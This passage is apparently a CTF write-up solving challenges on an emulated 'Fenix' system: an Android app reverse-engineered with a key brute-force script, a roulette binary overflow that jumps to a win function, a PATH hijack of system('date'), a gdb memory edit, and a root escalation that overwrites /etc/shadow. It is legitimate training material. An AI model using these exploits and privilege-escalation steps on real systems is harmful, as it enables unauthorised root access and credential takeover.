// - Every byte value added together as 32-bit int (except last char)
// - (This int XOR 21) mod 10 (as ASCII digit) must be == last digit
// (so, 1 in 10 chance... not much, but we can assume these are decimal digits)
return z;
}
Comments should be pretty self-explanatory, but it basically assumes the last (decimal!) digit is a check digit, computes a checksum on the rest of the string,
and returns whether the check digit matches. Since the check digit is mod 10, we have a 1 in 10 chance of any given random string being correct here. The
length of the string is 32 characters, ignoring the check digit and assuming only decimal digits would still result in 10^31
different combinations...
not exactly brute-forceable, sadly.
Moving on - the Target
activity is irrelevant, it pulls up what I assume is a really fancy GUI that does nothing at all but wait 'till you tap the screen.
It then passes the 1FA response from before onto the EnterLaunchCode
activity, which looks slightly more relevant. It contains a series of 12 toggle switches
comprising the "launch code". Once you hit the button on-screen, it fires off an utter nonsense background task that plays around with a progress bar,
and then does something actually useful:
// nonsense progress bar task spawn snipped
// ASTRID: collect the state of the toggle switches into a string
// and send that, along with the 1FA response from earlier,
// to The Task That Actually Does Something Useful
enterLaunchCode.t = new c(null);
EnterLaunchCode enterLaunchCode3 = EnterLaunchCode.this;
c cVar = enterLaunchCode3.t;
String[] strArr = new String[2];
strArr[0] = enterLaunchCode3.q; // ASTRID: 1FA response from earlier
StringBuilder sb = new StringBuilder();
while (true) {
Switch[] switchArr2 = enterLaunchCode3.r;
if (i < switchArr2.length) {
sb.append(switchArr2[i].isChecked() ? '1' : '0');
i++;
} else {
strArr[1] = sb.toString();
cVar.execute(strArr); // ASTRID: send array to useful background task
return;
}
}
This collects the switch states one by one into a string consisting of 12 ASCII zero or one digits. It also passes the 1FA response
from the main screen on, and calls the task c
(that's not as nonsense):
long j;
String[] strArr = (String[]) objArr;
// ASTRID: sleep until the dumb animations have caught up
try {
Thread.sleep(7000);
} catch (InterruptedException e) {
e.printStackTrace();
}
// ASTRID: don't proceed if the dumb animations were cancelled
d dVar = EnterLaunchCode.this.s;
if (dVar != null) {
dVar.cancel(true);
}
if (isCancelled()) {
j = 1;
} else {
// ASTRID: call WinActivity with the 1FA response and the launch code
Intent intent = new Intent(EnterLaunchCode.this.getApplicationContext(), WinActivity.class);
intent.putExtra("response", strArr[0]); // ASTRID: 1FA response from
intent.putExtra("launchcodes", strArr[1]); // ASTRID: 12-char string of ASCII digit 1s and 0s from "launch code" checkboxes
EnterLaunchCode.this.startActivity(intent);
j = 0;
}
return Long.valueOf(j);
This does more nonsense animation bollocks, then passes the response and the launch code bitstring onto the WinActivity
activity. This one is very simple:
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView((int) R.layout.win);
Bundle extras = getIntent().getExtras();
ImageView imageView = (ImageView) findViewById(R.id.imageView2);
// ASTRID: Decrypt flag image using response and launch codes
Bitmap a2 = a.a(getResources().openRawResource(R.raw.encrypted_flag), extras.getString("response"), extras.getString("launchcodes"));
if (a2 == null) {
a2 = BitmapFactory.decodeResource(getResources(), R.drawable.fail);
}
imageView.setImageBitmap(a2);
}
It calls the function a.a
(same file/function name as the response checksum, Java does call signature overloading) with the encrypted flag data from earlier, the response string, and the launch code:
public static int[] f581a = {0, 2, 3, 4, 6, 7, 8, 9, 11, 12, 13, 15, 16, 18, 20, 21, 22, 23, 24, 25, 26, 28, 29, 30};
// ASTRID: decode flag bitmap
public static Bitmap a(InputStream inputStream, String str, String str2) {
// ASTRID: 'inputStream' = flag image, 'str' = 1FA response, 'str2' = launch code bitstring
int[] iArr;
byte[] bArr;
byte[] bytes = str.getBytes();
byte[] bytes2 = str2.getBytes();
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ByteArrayOutputStream byteArrayOutputStream2 = new ByteArrayOutputStream();
for (int i : f581a) {
if (i < bytes.length) {
byteArrayOutputStream2.write(bytes[i]);
}
}
byte[] byteArray = byteArrayOutputStream2.toByteArray();
byteArrayOutputStream.write(byteArray, 0, byteArray.length);
byteArrayOutputStream.write(bytes2, 0, bytes2.length);
// ASTRID: bArr = SHA256(char positions (from f581a) in 1FA response concatted with launch code bitstring)
try {
MessageDigest instance = MessageDigest.getInstance("SHA-256");
instance.update(byteArrayOutputStream.toByteArray());
bArr = instance.digest();
} catch (Exception unused) {
bArr = new byte[]{0};
}
Bitmap.createBitmap(1, 1, Config.ARGB_8888); // ASTRID: this seems to do literally nothing...
ByteArrayOutputStream byteArrayOutputStream3 = new ByteArrayOutputStream();
byte[] bArr2 = new byte[10240]; // ASTRID: just a read buffer
while (true) {
try {
int read = inputStream.read(bArr2, 0, bArr2.length);
if (read > 0) {
byteArrayOutputStream3.write(bArr2, 0, read);
} else {
byte[] byteArray2 = byteArrayOutputStream3.toByteArray();
SecretKeySpec secretKeySpec = new SecretKeySpec(bArr, "AES");
Cipher instance2 = Cipher.getInstance("AES/CBC/PKCS5PADDING");
// ASTRID: AES128, CBC, all-zero IV, key padded with PKCS#5 (8-byte blocks... how does that make sense? Might be PKCS#7)
// (and key is SHA256 of 1fa+launchcode)
instance2.init(2, secretKeySpec, new IvParameterSpec(new byte[]{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}));
byte[] doFinal = instance2.doFinal(byteArray2);
// ASTRID: throw the now-decrypted .png file into the "decodeByteArray"
return BitmapFactory.decodeByteArray(doFinal, 0, doFinal.length);
}
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}
This one is pretty big, but doesn't do that much. Essentially, it takes the 1FA response from the very beginning, picks out 24 of its characters (as per the f581
byte array), and finally concatenates the launch code (still in ASCII bits) to the end. Then, it takes the SHA-256 of all of that, and uses that to decrypt the encrypted flag PNG file we found at the start. It's using AES-128, CBC mode, and an all-zero IV. Curiously, it specifies PKCS#5, which operates on 8-byte blocks. I'm not sure how that works on a 128-bit (16-byte) block cipher, Android might end up using PKCS#7 instead. Once that's done, it returns the bitmap loaded from the now-decrypted PNG file to our WinActivity, which displays it on-screen.
To reverse this, we can use the challenge response from Fenix and plug it into a Python script that brute-forces the "launch code" bits. There are only 2^12 = 4096 different combinations, and we can just look for a PNG header in the output. The non-relevant digits of the 1FA response from Fenix seem to be random (or at least dependent on the challenge input), but the relevant ones are consistent every time.
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
from Crypto.Util import Padding
enc_png = open("encrypted_flag.png", "rb").read()
lookup = [0, 2, 3, 4, 6, 7, 8, 9, 11, 12, 13, 15, 16, 18, 20, 21, 22, 23, 24, 25, 26, 28, 29, 30]
cmc_code = "16792303669486752077963516789694"
key1 = "".join([cmc_code[i] for i in lookup])
for r in range(4096): # 12 bits
key2 = bin(r)[2:].zfill(12)
sha_hash = SHA256.new()
sha_hash.update(key1.encode())
sha_hash.update(key2.encode())
aes_key = sha_hash.digest()
aes = AES.new(aes_key, AES.MODE_CBC, iv=b"\x00"*16)
png = aes.decrypt(enc_png)
if list(png[:8]) == [137, 80, 78, 71, 13, 10, 26, 10]:
with open("flag.png", "wb") as f:
f.write(png)
If the first 8 bytes of the decrypted string match a PNG header, then it's written to flag.png
:
Flag: FE{You_are_now_a_developer!}
Hacker
This is the final level of the CTF, and mostly involves files in /home/hacker
, as well as /firmware
and /dev/flag
. It's accessible using the user hacker
and the password pr0fess0rf4lk3n
.
hacker@sphinx # find
.
./firmware
./binexp2
./binexp2/binexp2
./binexp2/binexp2_flag
./binexp4
./binexp4/flag.u5.o
./binexp4/flag_client
./binexp4/devflag.h
./binexp3
./binexp3/binexp3_flag
./binexp3/binexp3
hacker@sphinx # find /firmware
/firmware
/firmware/firmware
/firmware/make-rsakey.py
/firmware/README.txt
/firmware/packer.py
/firmware/iBongoUpdate-0.1.bfw
/firmware/protected
/firmware/protected/flag.txt
/firmware/iBongoUpdate-0.2.bfw
binexp2
The binexp2
binary contains a "casino game" that prompts the user for a number, adds $1 to the total balance if it matches a randomly generated digit, and subtracts $1 if it doesn't:
hacker@sphinx # ./binexp2
_ _ _
_ __ ___ _ _| | ___| |_| |_ ___
| '__/ _ \| | | | |/ _ \ __| __/ _ \
| | | (_) | |_| | | __/ |_| || __/
|_| \___/ \__,_|_|\___|\__|\__\___|
Welcome to the roulette. The house always wins. Right?
Your current balance is $50
What do you want to do?
1> Play
2> View highscores
3> Exit
> 1
Let's you it! Your predictions? [0-36]
> 10
The ball landed on ... 10 ... You win $1!
Your current balance is $51
What do you want to do?
1> Play
2> View highscores
3> Exit
> 1
Let's you it! Your predictions? [0-36]
> 10
The ball landed on ... 11 ... You lose $1!
Your current balance is $50
What do you want to do?
1> Play
2> View highscores
3> Exit
> 1
Let's you it! Your predictions? [0-36]
> 10
The ball landed on ... 27 ... You lose $1!
Your current balance is $49
What do you want to do?
1> Play
2> View highscores
3> Exit
>
Running the binary multiple times returns the same number sequence every time, so given it tells you what number the ball landed on, you can simply repeat that next run. Jacob Bech chose to reverse-engineer the random number generator, but I chose a cursed simpler solution. Since the option for "Play" is 1, and 1 is also an acceptable input, I could just pipe the number 1 to stdin repeatedly until I ran out of money, parse the output for the correct number sequence (up to me running out of money), pipe that sequence to stdin, followed by a bunch of 1s, to get further into the game, et cetera, et cetera. It turns out we only need three rounds of this to hit the "high score" of $208, requiring 316 lines of input total:
$ yes 1 > ones.txt # (abort this after a sec or two)
$ touch roulette.txt
$ cat roulette.txt ones.txt | ./binexp2 | grep 'landed' | cut -d' ' -f6 | awk '{print 1; print;}' > roulette.txt
$ cat roulette.txt ones.txt | ./binexp2 | grep 'landed' | cut -d' ' -f6 | awk '{print 1; print;}' | head -n316 > roulette.txt
$ cat roulette.txt | ./binexp2
_ _ _
_ __ ___ _ _| | ___| |_| |_ ___
| '__/ _ \| | | | |/ _ \ __| __/ _ \
| | | (_) | |_| | | __/ |_| || __/
|_| \___/ \__,_|_|\___|\__|\__\___|
Welcome to the roulette. The house always wins. Right?
Your current balance is $50
# - snip -
Your current balance is $207
What do you want to do?
1> Play
2> View highscores
3> Exit
> Let's you it! Your predictions? [0-36]
>
The ball landed on ... 2 ... You win $1!
You got a new highscore!
Enter your name:
Your current balance is $208
What do you want to do?
1> Play
2> View highscores
3> Exit
> Invalid value
Hitting the high score prompts you to enter your name. Internally, this uses scanf
to read 32 bytes into a buffer, but the buffer isn't that long. Inputting a longer name than that causes a page fault in the emulator with part of the name in the program counter, which points towards the buffer overflow overwriting the return address:
$ cat myname.txt
abcdefghijklmnopqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
$ cat roulette.txt myname.txt | ./binexp2
# - snip -
Your current balance is $207
What do you want to do?
1> Play
2> View highscores
3> Exit
> Let's you it! Your predictions? [0-36]
>
The ball landed on ... 2 ... You win $1!
You got a new highscore!
Enter your name:
=E= [ 126] PAGE FAULT at 0x76777879: trying to access 0x76777879 (current=0xb0009bb0, cpustate=0xf0001f00)
# - snip
We can tell it's trying to access 0x76777879
("vwxy"), which is also the value in the program counter in the register dump (snipped). We can now replace those values with any memory address to jump to. The binary has a win()
function that executes the binexp2_flag
binary that prints the flag. We don't have execute access to this binary (at our current privilege level), so going through the casino game (which has the setuid bit set) is the only way. The address of the win()
function, which is otherwise never called, is 0x004023a0
, so if we enter our name as the bytes 61 62 63 64 65 66 67 68 6a 69 6b 6c 6d 6e 6f 70 71 72 73 74 75 00 40 23 a0
, this should grant us the flag:
hacker@sphinx # echo "61 62 63 64 65 66 67 68 6a 69 6b 6c 6d 6e 6f 70 71 72 73 74 75 00 40 23 a0" | hexdump -R > myname.bin
hacker@sphinx # cat roulette.txt myname.bin | ./binexp2
# - snip
Your current balance is $207
What do you want to do?
1> Play
2> View highscores
3> Exit
> Let's you it! Your predictions? [0-36]
>
The ball landed on ... 2 ... You win $1!
You got a new highscore!
Enter your name:
FE{You_beat_the_C4sin0_and_pwned_it_for_good_measure}
binexp3
This challenge is an upgraded version of binexp3
, with the same general layout, and a couple notable differences:
hacker@sphinx # ./binexp3
_ _ _
_ __ ___ _ _| | ___| |_| |_ ___
| '__/ _ \| | | | |/ _ \ __| __/ _ \
| | | (_) | |_| | | __/ |_| || __/
|_| \___/ \__,_|_|\___|\__|\__\___|
Welcome to the roulette v2.
This time we made sure the house always wins. Good luck.
Your current balance is $100
What do you want to do?
1> Play
2> View highscores
3> Exit
> 2
Thu Jan 1 00:16:42 UTC 1970
Latest highscores:
1. 1337 FENIX
2. 1085 torvalds
3. 1002 josh
Your current balance is $100
What do you want to do?
1> Play
2> View highscores
3> Exit
>
The random numbers are no longer the same every run, and the necessary high score is much higher. Jacob Bech again decided to reverse the RNG, but I (again) found a different solution. Note how the high score page prints the current date and time (a bit after the Unix epoch, as the date isn't set properly). This is implemented as system("date")
, so we can just add a date
binary higher in the PATH, and it'll call that with privileges instead. Don't do this in the real world.
hacker@sphinx # cat date
#!/bin/sh
./binexp3_flag
hacker@sphinx # chmod +x date
hacker@sphinx # export PATH=/home/hacker/binexp3:$PATH
hacker@sphinx # ./binexp3
_ _ _
_ __ ___ _ _| | ___| |_| |_ ___
| '__/ _ \| | | | |/ _ \ __| __/ _ \
| | | (_) | |_| | | __/ |_| || __/
|_| \___/ \__,_|_|\___|\__|\__\___|
Welcome to the roulette v2.
This time we made sure the house always wins. Good luck.
Your current balance is $100
What do you want to do?
1> Play
2> View highscores
3> Exit
> 2
=D= starting shebang for /bin/sh (argc=1)
FE{Sh3_sells_C_shells_by_the_C_sh0re}
Latest highscores:
# - snip
And there's the flag. An earlier version of the challenge mistakenly gave us execute access to ./binexp3_flag
, which just let me grab the flag right away. I managed to enter the flag as the only one before this was patched and the flag replaced with a different one. I'm sure you could exploit this challenge the "proper" way too, just requires a bit more finesse (which I don't possess).
binexp4
This is more or less the fun one. We're given flag_client
, flag.u5.o
and devflag.h
. devflag.h
just contains this short snippet:
#ifndef FENIX_KERNEL_DEVFLAG_H
#define FENIX_KERNEL_DEVFLAG_H
#include <fenix/chardev.h>
#define CHARDEV_FLAG_MAJOR 13
#define CHARDEV_FLAG_MINOR 37
extern struct fd_ops flag_ops;
extern struct vfs_chardev chardev_flag;
/* IOCTLs */
#define KERNELFLAGLOAD 1
#define KERNELFLAGFREE 2
#define USERFLAGLOAD 3
#define USERFLAGFREE 4
#define VERIFYFLAG 5
#endif
It hints towards /dev/flag
, and provides names for the ioctl
calls numbered from 1 to 5. flag.u5.o
is an object file containing the kernel module for /dev/flag
, which implements the kernel side of the ioctl
s. The conventions in use here are different, using the sXX
registers for passing arguments rather than the aX
registers. Disassembling the relevant function (fd_flag_ioctl
) yields the following pseudo-C:
int kernel_flag_refcount = 0;
int user_flag_refcount = 0;
const char* FLAG; // this has Data(tm) in it
char* kernel_flag_buf;
char* user_flag_buf;
int fd_flag_ioctl(int ioctl, char* param) {
if (ioctl == KERNELFLAGLOAD) { // ioctl == 1
if (kernel_flag_refcount == 1) return;
kernel_flag = malloc(50);
memcpy(kernel_flag, FLAG, 50);
// there's a memset call here too, but I didn't quite manage to work out what it was touching
kernel_flag_refcount++;
} else if (ioctl == KERNELFLAGFREE) { // ioctl == 2
if (kernel_flag_refcount == 0) return;
free(kernel_flag);
kernel_flag_refcount--;
} else if (ioctl == USERFLAGLOAD) { // ioctl == 3
if (user_flag_refcount == 1) return;
if (!pdm_verify_ptr_read(param, 50)) return;
if (strlen(param) != 50) return;
if (strncmp(param, "FE{", 3) != 0) return;
user_flag_buf = malloc(50);
memcpy(user_flag_buf, param, 50);
user_flag_refcount++;
} else if (ioctl == USERFLAGFREE) { // ioctl == 4
if (user_flag_refcount == 0) return;
free(user_flag_buf);
user_flag_refcount--;
} else if (ioctl == VERIFYFLAG) {
if (kernel_flag_refcount != 1) return;
if (user_flag_refcount != 1) return;
if (strncmp(kernel_flag_buf, user_flag_buf, 50) != 0) return;
decrypt_and_output_kernel_flag(); // this puts the flag in a userspace-accessible location
}
// there's a return value here, but it doesn't really matter
}
This isn't entirely accurate (which will become relevant in a bit), but that's the gist of my understanding of the flag device. The flag_client
binary
contains an implementation of the client end, essentially loading the two flags (with an example value for the user flag) and calling the flag verification.
This, of course, always fails, because VERIFYFLAG
compares the given string to the static value FLAG
- which I've dumped and very much does not start with the letters FE{
. As such, any user flag that passes the checks in USERFLAGLOAD
won't pass VERIFYFLAG
.
My solution was relatively simple - attack the entire debugger in GDB, run the reference flag client, which loads the two flags. Then, I edited the emulator's memory,
replacing the now-loaded dummy flag with the actual FLAG
value sitting next to it in memory, so VERIFYFLAG
passes the strncmp
check. After this, the real flag
will be decrypted and written to somewhere else. This "somewhere else" is the position of the string that cat /dev/flag
outputs repeatedly.
So, to solve the challenge:
- I ran the emulator by itself and ran the flag client:
sphinx login: hacker
Password: pr0fess0rf4lk3n
hacker@sphinx # cd binexp4
hacker@sphinx # ./flag_client
=*= Flag loaded for verification
=*= Verification failed. Flags do not match.
hacker@sphinx #
- I attached to the running emulator in gdb, disabled some signal handlers, found the memory address for the dummy flag, and replaced it with the correct value:
$ sudo gdb -p $(pidof emulator)
GNU gdb (GDB) 8.3.1
# - snip -
(gdb) handle SIGUSR1 nostop noprint pass
Signal Stop Print Pass to program Description
SIGUSR1 No No Yes User defined signal 1
(gdb) handle SIGUSR2 nostop noprint pass
Signal Stop Print Pass to program Description
SIGUSR2 No No Yes User defined signal 2
(gdb) info proc mappings
# found 0xa0000000 - 0xa0800000 as Fenix memory space (since that's a pretty offset + the size I know memdumps are)
(gdb) find 0xa0000000, 0xa0800000, "FE{_This_is_not_the_real_flag___dont_submit_me___}"
0xa036bbe0
warning: Unable to access 1518 bytes of target memory at 0xa07ffa13, halting search.
1 pattern found.
(gdb) x/s 0xa036bbe0
0xa036bbe0: "FE{_This_is_not_the_real_flag___dont_submit_me___}"
(gdb) set {char[51]}0xa036bbe0 = "\x82\xb7\xfc\xd4\xf4\xf3\x0c\x32\xb9\x67\x6e\xde\x59\x58\x72\xb4\x7a\xf3\x29\x3c\x58\x3f\x3a\xec\x23\xf2\xec\xfe\x6d\x0a\x3e\x39\xf9\x0d\x0b\xeb\x12\xcd\x4f\x5e\x56\x2e\x21\x50\xd4\x9d\x69\x21\x15\x46" # this is the real `FLAG` value
(gdb) c
Continuing.
- Back in Fenix, the still-loaded flag values now match, and we can call the flag client again. It won't reload the flags, it'll simply verify what's already in place:
hacker@sphinx # ./flag_client
=*= You already loaded a flag
=*= You rock!
hacker@sphinx # cat /dev/flag
FE{S3crets_0f_th3_sph1nx_4nd_the_tri4ls_of_fenix!}FE{S3crets_0f_th3_sph1nx_4nd_the_tri4ls_of_fenix!}FE{S3crets_0f_th3_sph1nx_4nd_the_tri4ls_of_fenix!}FE{S3crets_0f_th3_sph1nx_4nd_the_tri4ls_of_fenix!}
And there's the flag. This is absolutely the unintended solution, and the proper one is much more elegant. I've spoken to others about the challenge after solving it, and apparently I misread the kernel flag refcount check in KERNELFLAGFREE
. This means you can cause an underflow in that value, meaning the malloc
(well, kalloc
) call reuses the same memory address, meaning both the kernel_flag_buf
and user_flag_buf
globals point to the same address, thus passing the check. Jacob Bech has written about this, and I'm aware ollypwn found this solution too. I never managed to, though, so I did it the long way 'round.
In the introduction I noted that the emulator contains a lot of shared code with the kernel, albeit in x86 rather than Femtium. I also discovered this after solving it the "wrong" way, but it means we can just open the x86 version of fd_flag_ioctl
and throw it into a real decompiler. This makes the underflow bug much easier to notice, and would have saved me a whole lot of assembly digging.
firmware
This feels sort of like a bonus challenge. We're given the files in /firmware
:
hacker@sphinx # find /firmware
/firmware
/firmware/firmware
/firmware/make-rsakey.py
/firmware/README.txt
/firmware/packer.py
/firmware/iBongoUpdate-0.1.bfw
/firmware/protected
/firmware/protected/flag.txt
/firmware/iBongoUpdate-0.2.bfw
README.md
contains the following:
International Bongo Manufacturers
Congratulations on the purchase of your new IBM Percussive Companion!
To keep your iBongo in perfect working order, we have included support for updating the firmware on it. This will ensure the product is always achieving optimum bongo.
The tool is very easy to use:
./firmware iBongoUpdate-0.1.bfw
We go to great lengths to protect your iBongo, and we want your ongoing bongoing to be as care free as possible. To convince you of our commitment to good security practices, we have included the source code we use for building new firmware updates. Feel free to inspect it any way you want. We have gone to great lengths to ensure that firmware packages can only be run when signed with our private key.
We wish you a happy iBongo experience Happy bongoing
Bob Gong, Gongs & Bongos Director International Bongo Manufacturers
Looks like the challenge is about somehow breaking the signature on the "update bundles" and execute code that reads flag.txt
(which we don't have read access to). I'm not sure if this is the intended solution, because mine was much simpler:
hacker@sphinx # cat protected/update.sh
#!/bin/sh
cat /firmware/protected/flag.txt
hacker@sphinx # chmod +x protected/update.sh
hacker@sphinx # ./firmware iBongoUpdate-0.1.bfw
Error opening /firmware/protected/update.sh Permission denied
Error writing content to file /firmware/protected/update.sh Bad file descriptor
Extraction complete!
Executing update.sh
FE{1f-only-4ll-th3-th1ng5-w3r3-th15-345y-to-pwn}
There we go. The "installer" attempts to write to and execute update.sh
, but fails since the file's already there and owned by hacker
rather than the ibongo
user. As such, it just goes ahead and executes our own update.sh
with the ibongo
user, which gets us the flag!
Bonus: popping a root shell
I figured this one out after solving the rest of the challenges. Since a lot of the flags are given as files where we lack read or execute permissions, having root access would be very practical. I know Carl Schou managed a root shell via runtime memory editing of /bin/login
to force root, but I've got a much simpler method that gets root access entirely from userspace at noob
level.
This exploit relies on the helmig
service, which runs at startup as part of an init script... which runs as root:
noob@sphinx # cat /etc/init.d/rcS
#!/bin/sh
echo "--- fenix userspace init ---"
ifconfig en1 10.42.0.2 netmask 255.255.255.0 up
/home/noob/helmig/helmig /home/noob/helmig/challenge &
Since the helmig
binary is in a folder owned by the helmig
user, we can't change it directly... but that folder is in noob
's home directory, and we can modify that. Hence:
noob@sphinx # ls
cybermc helmig medina rainbowbarf sudoku
# Rename the old helmig dir and make our own
noob@sphinx # mv helmig helmig_old
noob@sphinx # mkdir helmig
# Now we can put whatever we want in the script
# ...that'll be run as root!
noob@sphinx # nano helmig/helmig
noob@sphinx # chmod +x helmig/helmig
# For example:
noob@sphinx # cat helmig/helmig
#!/bin/sh
echo 'all your femtium is belong to us'
id
echo 'root:$1$abcdefgh$irWbblnpmw.5z7wgBnprh0:17873:0:99999:7:::' > /etc/shadow
The string inserted into /etc/shadow
is the crypt
-encoded form of the word test
with the salt abcdefgh
, as output by openssl passwd -1 -salt abcdefgh test
. Now we restart the emulator and log in with our new root password!
$ ./emulator fenix.img
[E] Could not open TAP interface
GURB
=D= Kernel found: fnode 10 (size 556480)
=D= ELF load [entry 0x800020f4]
=*= FENIX [NATIVE]
▀████████▓▒▄ ▄▒▓████████▀ ▌▌▌▌▌▌▌▌ ▌▌▌▌▌▌ ▌▌▌ ▌▌ ▌▌ ▌▌ ▌▌
════════ ▐ ▌ ════════ ▌▌ ▌▌▌▌ ▌▌ ▌▌ ▌▌ ▌▌
▀████▓▒▐░▌▒▓████▀ ▌▌▌▌▌▌ ▌▌▌▌▌▌ ▌▌ ▌▌▌▌ ▌▌ ▌▌▌
═════▐ ▌═════ ▌▌ ▌▌ ▌▌ ▌▌▌ ▌▌ ▌▌ ▌▌
▀█▓▒▐░▌▒▓█▀ ▌▌ ▌▌▌▌▌▌▌ ▌▌ ▌▌ ▌▌ ▌▌ ▌▌
Version 1.3.37 © 2019 FEMTIUM ENGINEERING LABORATORIES
# - snip
=*= starting init
=W= stubbed syscall [reboot] (4088 / 0xf0001f00)
=D= starting shebang for /bin/sh (argc=1)
--- fenix userspace init ---
=D= starting shebang for /bin/sh (argc=2)
all your femtium is belong to us
uid=0(root) gid=0(root)
*
| sphinx::/dev/tty1
|
| fenix 1.3.37 online
*
sphinx login: root
Password:
login[7]: root login on 'tty1'
root@sphinx # whoami
root
And there we go. Full access to the system. Obviously, this is no fun to start out with, as it gets us access to quite a lot of flags right away:
root@sphinx # chmod +x /home/hacker/binexp2/binexp2_flag && /home/hacker/binexp2/binexp2_flag
FE{You_beat_the_C4sin0_and_pwned_it_for_good_measure}
root@sphinx # chmod +x /home/hacker/binexp3/binexp3_flag && /home/hacker/binexp3/binexp3_flag
FE{Sh3_sells_C_shells_by_the_C_sh0re}
root@sphinx # cat /firmware/protected/flag.txt
FE{1f-only-4ll-th3-th1ng5-w3r3-th15-345y-to-pwn}
However, all the rest still require some form of reverse-engineering or solving. Still, pretty neat.
Loot
Update (2020-05-21): There's loot! Pictures pending, but it's pretty nice :)
Below complaint preserved for posterity:
I was told there would be loot. There has not been any loot. I will report back if there eventually is loot. Maybe there will be. Maybe there won't be. There has been loot in the past (p. 15). I'm hoping there will be in the future. We shall see.